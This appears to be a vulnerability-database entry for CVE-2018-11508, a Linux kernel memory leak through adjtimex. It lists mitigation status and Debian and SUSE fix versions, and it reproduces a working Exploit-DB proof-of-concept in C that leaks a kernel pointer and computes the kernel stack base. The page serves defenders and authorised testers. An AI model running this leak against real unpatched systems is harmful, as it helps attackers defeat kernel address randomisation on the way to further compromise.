CVE-2018-11508
Description
The compat_get_timex function in kernel/compat.c in the Linux kernel before 4.16.9 allows local users to obtain sensitive information from kernel memory via adjtimex.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Linux Kernel 4.13 - 'compat_get_timex()' Leak Kernel Pointer
#define _GNU_SOURCE
#define _BSD_SOURCE
#include <sys/timex.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <kptr-lib.h>
// Ubuntu 4.13.0-16-generic
// gcc -o poc poc.c -m32
struct timex time;
int main(int argc, char **argv)
{
int r;
unsigned long long stack_offset, kernel_base;
unsigned int leak_value;
unsigned int high = 0xffffffff;
memset(&time, 0, sizeof(time));
time.modes = 0x8000;
mmap(0,0xa000,3,2022,-1,0);
adjtimex(&time);
leak_value = time.tai;
printf("--> leak_value : %x\n", leak_value);
memcpy(&kernel_base, &leak_value, 4);
memcpy((char *)&kernel_base + 4, &high, 4);
stack_offset = 0x1fc4a4;
kernel_base = leak_value - stack_offset;
printf("--> kernel_stack_base : %llx\n", kernel_base);
return 0;
}
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 4.16.12-1 |
| sid | Fixed | 4.16.12-1 |
| forky | Fixed | 4.16.12-1 |
| bullseye | Fixed | 4.16.12-1 |
| bookworm | Fixed | 4.16.12-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.